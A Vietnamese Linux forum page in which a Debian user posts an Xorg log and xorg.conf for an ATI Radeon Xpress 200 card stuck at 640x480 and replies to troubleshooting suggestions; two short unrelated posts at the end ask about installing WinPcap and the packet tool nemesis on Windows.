(II) RADEON(0): Not using default mode "1920x1440" (hsync out of range)
(II) RADEON(0): Not using default mode "960x720" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1920x1440" (hsync out of range)
(II) RADEON(0): Not using default mode "960x720" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "832x624" (hsync out of range)
(II) RADEON(0): Not using default mode "416x312" (hsync out of range)
(II) RADEON(0): Not using default mode "1280x768" (hsync out of range)
(II) RADEON(0): Not using default mode "640x384" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1280x800" (hsync out of range)
(II) RADEON(0): Not using default mode "640x400" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1152x768" (hsync out of range)
(II) RADEON(0): Not using default mode "576x384" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1152x864" (hsync out of range)
(II) RADEON(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1400x1050" (hsync out of range)
(II) RADEON(0): Not using default mode "700x525" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1400x1050" (hsync out of range)
(II) RADEON(0): Not using default mode "700x525" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1400x1050" (hsync out of range)
(II) RADEON(0): Not using default mode "700x525" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1400x1050" (hsync out of range)
(II) RADEON(0): Not using default mode "700x525" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1440x900" (hsync out of range)
(II) RADEON(0): Not using default mode "720x450" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1600x1024" (hsync out of range)
(II) RADEON(0): Not using default mode "800x512" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1680x1050" (hsync out of range)
(II) RADEON(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1920x1200" (hsync out of range)
(II) RADEON(0): Not using default mode "960x600" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1920x1200" (hsync out of range)
(II) RADEON(0): Not using default mode "960x600" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "1920x1440" (hsync out of range)
(II) RADEON(0): Not using default mode "960x720" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "2048x1536" (hsync out of range)
(II) RADEON(0): Not using default mode "1024x768" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "2048x1536" (hsync out of range)
(II) RADEON(0): Not using default mode "1024x768" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using default mode "2048x1536" (hsync out of range)
(II) RADEON(0): Not using default mode "1024x768" (bad mode clock/interlace/doublescan)
(II) RADEON(0): Not using mode "1280x1024" (no mode of this name)
(--) RADEON(0): Virtual size is 640x480 (pitch 640)
(**) RADEON(0): Default mode "640x480": 25.2 MHz, 31.5 kHz, 60.0 Hz
(II) RADEON(0): Modeline "640x480" 25.20 640 656 752 800 480 490 492 525 -hsync -vsync
(++) RADEON(0): DPI set to (96, 96)
(II) Loading sub module "fb"
(II) LoadModule: "fb"
(II) Loading /usr/lib/xorg/modules/libfb.so
(II) Module fb: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 1.0.0
ABI class: X.Org ANSI C Emulation, version 0.3
(II) Loading sub module "ramdac"
(II) LoadModule: "ramdac"
(II) Loading /usr/lib/xorg/modules/libramdac.so
(II) Module ramdac: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 0.1.0
ABI class: X.Org Video Driver, version 1.0
(==) RADEON(0): Using XAA acceleration architecture
(II) Loading sub module "xaa"
(II) LoadModule: "xaa"
(II) Loading /usr/lib/xorg/modules/libxaa.so
(II) Module xaa: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 1.2.0
ABI class: X.Org Video Driver, version 1.0
(II) RADEON(0): No MM_TABLE found - assuming CARD is not TV-in capable.
(!!) RADEON(0): For information on using the multimedia capabilities
of this adapter, please see http://gatos.sf.net.
(II) do I need RAC? No, I don't.
(II) resource ranges after preInit:
[0] 0 0 0xc0000000 - 0xc000ffff (0x10000) MX[B]
[1] 0 0 0x80000000 - 0x8fffffff (0x10000000) MX[B]
[2] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)
[3] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B]
[4] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B]
[5] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B]
[6] -1 0 0xdffff000 - 0xdfffffff (0x1000) MX[B]
[7] -1 0 0xbffff800 - 0xbffffbff (0x400) MX[B]
[8] -1 0 0xbfff8000 - 0xbfffbfff (0x4000) MX[B]
[9] -1 0 0xbffffc00 - 0xbffffcff (0x100) MX[B]
[10] -1 0 0xbfffe000 - 0xbfffefff (0x1000) MX[B]
[11] -1 0 0xbfffd000 - 0xbfffdfff (0x1000) MX[B]
[12] -1 0 0xbfffc000 - 0xbfffcfff (0x1000) MX[B]
[13] -1 0 0xe0000000 - 0xdfffffff (0x0) MX[B]O
[14] -1 0 0xdfee0000 - 0xdfefffff (0x20000) MX[B](B)
[15] -1 0 0xc0000000 - 0xc000ffff (0x10000) MX[B](B)
[16] -1 0 0x80000000 - 0x8fffffff (0x10000000) MX[B](B)
[17] 0 0 0x000a0000 - 0x000affff (0x10000) MS[B](OprU)
[18] 0 0 0x000b0000 - 0x000b7fff (0x8000) MS[B](OprU)
[19] 0 0 0x000b8000 - 0x000bffff (0x8000) MS[B](OprU)
[20] 0 0 0x0000d000 - 0x0000d0ff (0x100) IX[B]
[21] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B]
[22] -1 0 0x00000000 - 0x000000ff (0x100) IX[B]
[23] -1 0 0x0000e800 - 0x0000e8ff (0x100) IX[B]
[24] -1 0 0x0000c400 - 0x0000c40f (0x10) IX[B]
[25] -1 0 0x0000c480 - 0x0000c483 (0x4) IX[B]
[26] -1 0 0x0000c800 - 0x0000c807 (0x8) IX[B]
[27] -1 0 0x0000c880 - 0x0000c883 (0x4) IX[B]
[28] -1 0 0x0000cc00 - 0x0000cc07 (0x8) IX[B]
[29] -1 0 0x0000ff00 - 0x0000ff0f (0x10) IX[B]
[30] -1 0 0x0000d000 - 0x0000d0ff (0x100) IX[B](B)
[31] 0 0 0x000003b0 - 0x000003bb (0xc) IS[B](OprU)
[32] 0 0 0x000003c0 - 0x000003df (0x20) IS[B](OprU)
(**) RADEON(0): RADEONScreenInit 80000000 0
(**) RADEON(0): Map: 0x80000000, 0x08000000
(==) RADEON(0): Write-combining range (0x80000000,0x8000000)
(**) RADEON(0): RADEONSave
(**) RADEON(0): RADEONSaveMode(0x81fd1d0)
(**) RADEON(0): Read: 0x00180006 0x0003005f 0x00000000
(**) RADEON(0): Read: rd=6, fd=95, pd=3
(**) RADEON(0): RADEONSaveMode returns 0x81fd1d0
(**) RADEON(0): RADEONInitMemoryMap() :
(**) RADEON(0): mem_size : 0x08000000
(**) RADEON(0): MC_FB_LOCATION : 0x3fff3800
(**) RADEON(0): MC_AGP_LOCATION : 0xffffffc0
(**) RADEON(0): RADEONModeInit()
640x480 25.20 640 656 752 800 480 490 492 525 (16,16) -H -V
640x480 25.20 640 656 752 800 480 490 492 525 (16,16) -H -V
(**) RADEON(0): Pitch = 5242960 bytes (virtualX = 640, displayWidth = 640)
(**) RADEON(0): dc=2519, of=20152, fd=84, pd=8
(**) RADEON(0): RADEONInit returns 0x81fdb80
(**) RADEON(0): RADEONRestoreMode()
(**) RADEON(0): RADEONRestoreMode(0x81fdb80)
(**) RADEON(0): RADEONRestoreMemMapRegisters() :
(**) RADEON(0): MC_FB_LOCATION : 0x3fff3800
(**) RADEON(0): MC_AGP_LOCATION : 0xffffffc0
(**) RADEON(0): Map Changed ! Applying ...
(**) RADEON(0): Map applied, resetting engine ...
(**) RADEON(0): Updating display base addresses...
(**) RADEON(0): Memory map updated.
(**) RADEON(0): Programming CRTC1, offset: 0x00000000
(**) RADEON(0): Wrote: 0x00000006 0x00030054 0x00000000 (0x0000a400)
(**) RADEON(0): Wrote: rd=6, fd=84, pd=3
(**) RADEON(0): GRPH_BUFFER_CNTL from 20004c4c to 20035050
(**) RADEON(0): RADEONSaveScreen(0)
(II) RADEON(0): Depth moves disabled by default
(**) RADEON(0): Setting up initial surfaces
(**) RADEON(0): Initializing fb layer
(**) RADEON(0): Setting up accel memmap
(II) RADEON(0): Memory manager initialized to (0,0) (640,8191)
(II) RADEON(0): Reserved area from (0,480) to (640,482)
(II) RADEON(0): Largest offscreen area available: 640 x 7709
(**) RADEON(0): Initializing backing store
(==) RADEON(0): Backing store disabled
(WW) RADEON(0): Direct rendering disabled
(**) RADEON(0): Setting up final surfaces
(**) RADEON(0): Initializing Acceleration
(II) RADEON(0): Render acceleration unsupported on Radeon 9500/9700 and newer.
(II) RADEON(0): Render acceleration disabled
(**) RADEON(0): EngineInit (16/16)
(**) RADEON(0): Pitch for acceleration = 80
(**) RADEON(0): EngineRestore (16/16)
(II) RADEON(0): Using XFree86 Acceleration Architecture (XAA)
Screen to screen bit blits
Solid filled rectangles
8x8 mono pattern filled rectangles
Indirect CPU to Screen color expansion
Solid Lines
Scanline Image Writes
Offscreen Pixmaps
Setting up tile and stipple cache:
32 128x128 slots
24 256x256 slots
9 512x512 slots
(II) RADEON(0): Acceleration enabled
(**) RADEON(0): Initializing DPMS
(**) Option "dpms"
(**) RADEON(0): DPMS enabled
(**) RADEON(0): Initializing Cursor
(==) RADEON(0): Silken mouse enabled
(II) RADEON(0): Using hardware cursor (scanline 482)
(II) RADEON(0): Largest offscreen area available: 640 x 7696
(**) RADEON(0): Initializing color map
(**) RADEON(0): Initializing DGA
(**) RADEON(0): Initializing Xv
(II) RADEON(0): No video input capabilities detected and no information is provided - disabling multimedia i2c
(II) Loading sub module "theatre_detect"
(II) LoadModule: "theatre_detect"
(II) Loading /usr/lib/xorg/modules/multimedia/theatre_detect_drv.so
(II) Module theatre_detect: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 1.0.0
ABI class: X.Org Video Driver, version 1.0
(II) RADEON(0): no multimedia table present, disabling Rage Theatre.
(**) RADEON(0): RADEONScreenInit finished
(==) RandR enabled
(II) Initializing built-in extension MIT-SHM
(II) Initializing built-in extension XInputExtension
(II) Initializing built-in extension XTEST
(II) Initializing built-in extension XKEYBOARD
(II) Initializing built-in extension XC-APPGROUP
(II) Initializing built-in extension SECURITY
(II) Initializing built-in extension XINERAMA
(II) Initializing built-in extension XFIXES
(II) Initializing built-in extension XFree86-Bigfont
(II) Initializing built-in extension RENDER
(II) Initializing built-in extension RANDR
(II) Initializing built-in extension COMPOSITE
(II) Initializing built-in extension DAMAGE
(II) Initializing built-in extension XEVIE
(EE) AIGLX: Screen 0 is not DRI capable
(II) Loading local sub module "GLcore"
(II) LoadModule: "GLcore"
(II) Loading /usr/lib/xorg/modules/extensions/libGLcore.so
(II) Module GLcore: vendor="X.Org Foundation"
compiled for 7.1.1, module version = 1.0.0
ABI class: X.Org Server Extension, version 0.3
(II) GLX: Initialized MESA-PROXY GL provider for screen 0
(**) Option "CoreKeyboard"
(**) Generic Keyboard: Core Keyboard
(**) Option "Protocol" "standard"
(**) Generic Keyboard: Protocol: standard
(**) Option "AutoRepeat" "500 30"
(**) Option "XkbRules" "xorg"
(**) Generic Keyboard: XkbRules: "xorg"
(**) Option "XkbModel" "pc104"
(**) Generic Keyboard: XkbModel: "pc104"
(**) Option "XkbLayout" "us"
(**) Generic Keyboard: XkbLayout: "us"
(**) Option "CustomKeycodes" "off"
(**) Generic Keyboard: CustomKeycodes disabled
(**) Option "Protocol" "ImPS/2"
(**) Configured Mouse: Device: "/dev/input/mice"
(**) Configured Mouse: Protocol: "ImPS/2"
(**) Option "CorePointer"
(**) Configured Mouse: Core Pointer
(**) Option "Device" "/dev/input/mice"
(**) Option "Emulate3Buttons" "true"
(**) Configured Mouse: Emulate3Buttons, Emulate3Timeout: 50
(**) Configured Mouse: ZAxisMapping: buttons 4 and 5
(**) Configured Mouse: Buttons: 9
(II) XINPUT: Adding extended input device "Configured Mouse" (type: MOUSE)
(II) XINPUT: Adding extended input device "Generic Keyboard" (type: KEYBOARD)
xkb_keycodes { include "xfree86+aliases(qwerty)" };
xkb_types { include "complete" };
xkb_compatibility { include "complete" };
xkb_symbols { include "pc(pc105)+us" };
xkb_geometry { include "pc(pc104)" };
(II) Configured Mouse: ps2EnableDataReporting: succeeded
(**) RADEON(0): RADEONSaveScreen(2)
(**) RADEON(0): RADEONLeaveVT
(**) RADEON(0): RADEONRestore
(**) RADEON(0): RADEONRestoreMode()
(**) RADEON(0): RADEONRestoreMode(0x81fd1d0)
(**) RADEON(0): RADEONRestoreMemMapRegisters() :
(**) RADEON(0): MC_FB_LOCATION : 0x3fff3800
(**) RADEON(0): MC_AGP_LOCATION : 0x003f0000
(**) RADEON(0): Map Changed ! Applying ...
(**) RADEON(0): Map applied, resetting engine ...
(**) RADEON(0): Updating display base addresses...
(**) RADEON(0): Memory map updated.
(**) RADEON(0): Programming CRTC1, offset: 0x00000000
(**) RADEON(0): Wrote: 0x00180006 0x0003005f 0x00000000 (0x0000a400)
(**) RADEON(0): Wrote: rd=6, fd=95, pd=3
(**) RADEON(0): Ok, leaving now...
mình đã thử với Code:
vẫn ko được Mr.Khoai a.,nhìn nội dung file trên cũng thấy vậy.
to 281
mình gõ 2 lệnh này và đây là kết quả ,vậy là sao hả bạn ?
Code:
debian:~# modprobe agpgart
debian:~# modprobe fglrx
FATAL: Module fglrx not found.
|
|
|
281 wrote:
bồ thử post kết quả của lệnh sau lên cho mọi người xem nhé:
Code:
mình gõ nhưng ko thấy hiện gì cả :
Code:
debian:~# whereis fglrxinfo
fglrxinfo:
debian:~# fglrxinfo
bash: fglrxinfo: command not found
debian:~#
|
|
|
quanta wrote:
Muốn dùng độ phân giải nào, bạn đặt thông số của nó đầu tiên trên dòng Modes (đây là độ phân giải mặc định sẽ dùng sau khi boot). Các độ phân giải khác không dùng có thể bỏ đi, chẳng hạn bạn thử đổi thành:
Code:
Depth 24
Modes "1024x768" "800x600" "640x480"
xem sao.
mình đã thử cách quanta nhưng ko được.Màn hình mình là 17'.
|
|
|
Code:
# /etc/X11/xorg.conf (xorg X Window System server configuration file)
#
# This file was generated by dexconf, the Debian X Configuration tool, using
# values from the debconf database.
#
# Edit this file with caution, and see the /etc/X11/xorg.conf manual page.
# (Type "man /etc/X11/xorg.conf" at the shell prompt.)
#
# This file is automatically updated on xserver-xorg package upgrades *only*
# if it has not been modified since the last upgrade of the xserver-xorg
# package.
#
# If you have edited this file but would like it to be automatically updated
# again, run the following command:
# sudo dpkg-reconfigure -phigh xserver-xorg
Section "Files"
FontPath "/usr/share/fonts/X11/misc"
FontPath "/usr/X11R6/lib/X11/fonts/misc"
FontPath "/usr/share/fonts/X11/cyrillic"
FontPath "/usr/X11R6/lib/X11/fonts/cyrillic"
FontPath "/usr/share/fonts/X11/100dpi/:unscaled"
FontPath "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled"
FontPath "/usr/share/fonts/X11/75dpi/:unscaled"
FontPath "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled"
FontPath "/usr/share/fonts/X11/Type1"
FontPath "/usr/X11R6/lib/X11/fonts/Type1"
FontPath "/usr/share/fonts/X11/100dpi"
FontPath "/usr/X11R6/lib/X11/fonts/100dpi"
FontPath "/usr/share/fonts/X11/75dpi"
FontPath "/usr/X11R6/lib/X11/fonts/75dpi"
# path to defoma fonts
FontPath "/var/lib/defoma/x-ttcidfont-conf.d/dirs/TrueType"
EndSection
Section "Module"
Load "i2c"
Load "bitmap"
Load "ddc"
Load "dri"
Load "extmod"
Load "freetype"
Load "glx"
Load "int10"
Load "vbe"
EndSection
Section "InputDevice"
Identifier "Generic Keyboard"
Driver "kbd"
Option "CoreKeyboard"
Option "XkbRules" "xorg"
Option "XkbModel" "pc104"
Option "XkbLayout" "us"
EndSection
Section "InputDevice"
Identifier "Configured Mouse"
Driver "mouse"
Option "CorePointer"
Option "Device" "/dev/input/mice"
Option "Protocol" "ImPS/2"
Option "Emulate3Buttons" "true"
EndSection
Section "Device"
Identifier "ATI Technologies Inc RC410 [Radeon Xpress 200]"
Driver "ati"
BusID "PCI:1:5:0"
EndSection
Section "Monitor"
Identifier "PnP Monitor"
Option "DPMS"
EndSection
Section "Screen"
Identifier "Default Screen"
Device "ATI Technologies Inc RC410 [Radeon Xpress 200]"
Monitor "PnP Monitor"
DefaultDepth 24
SubSection "Display"
Depth 1
Modes "1280x1024" "1152x864" "1024x768" "832x624" "800x600" "720x400" "640x480"
EndSubSection
SubSection "Display"
Depth 4
Modes "1280x1024" "1152x864" "1024x768" "832x624" "800x600" "720x400" "640x480"
EndSubSection
SubSection "Display"
Depth 8
Modes "1280x1024" "1152x864" "1024x768" "832x624" "800x600" "720x400" "640x480"
EndSubSection
SubSection "Display"
Depth 15
Modes "1280x1024" "1152x864" "1024x768" "832x624" "800x600" "720x400" "640x480"
EndSubSection
SubSection "Display"
Depth 16
Modes "1280x1024" "1152x864" "1024x768" "832x624" "800x600" "720x400" "640x480"
EndSubSection
SubSection "Display"
Depth 24
Modes 1280x1024" "1152x864" "1024x768" "832x624" "800x600" "720x400" "640x480"
EndSubSection
EndSection
Section "ServerLayout"
Identifier "Default Layout"
Screen "Default Screen"
InputDevice "Generic Keyboard"
InputDevice "Configured Mouse"
EndSection
Section "DRI"
Mode 0666
EndSection
đây là file xorg.conf của mình
mình mới cài debian lần đầu tiên, sau khi cài thì màn hình rất to rất khó đọc (640x480),sau đó vào menu/desktop/preferences/screen resolution để chỉnh lại độ phân giản thì thấy chỉ có độ phân giải là (640x480) ko có cái khác để chọn, vậy làm thế nào để chỉnh được, mình đã thủ đổi 1 chút trong file này
Code:
Depth 24
Modes "1280x1024" "1152x864" "1024x768" "832x624" "800x600" "720x400" "640x480"
thành
Code:
Depth 24
Modes "640x480" "720x400" "800x600" "832x624" "1024x768" "1152x864" "1280x1024"
theo trên diễn đàn rồi save và reboot nhưng ko được, nhờ mọi người giúp đỡ
|
|
|
cháu xem trong máy thì có cài sẵn WinPcap-3.1 beta3 rồi từ hôm nọ rồi nên ko down về nữa,ko biết có bắt buộc là phải là bản WinPcap-2.3 .or 3.0 ko chú.Vì cháu click vào link tải WinPcap của nó trên trang đó thì đều ko còn .Cái libnetNT-1.0.2g kia cháu cũng lấy về từ lần trước rồi,nhưng chạy vẫn bị lỗi kia ? Sau đó cháu tải bản WinPcap-3.0 về ,remove bản beta kia đi nhưng vẫn lỗi như trên , chú thử mà xem.
|
|
|
Hiện giờ mình cũng tìm được 1 tool tương tự như nemesis rồi, nhưng mà bạn nào cài được nemesis thì bảo tớ nhé.
|
|
|
|
|
|
|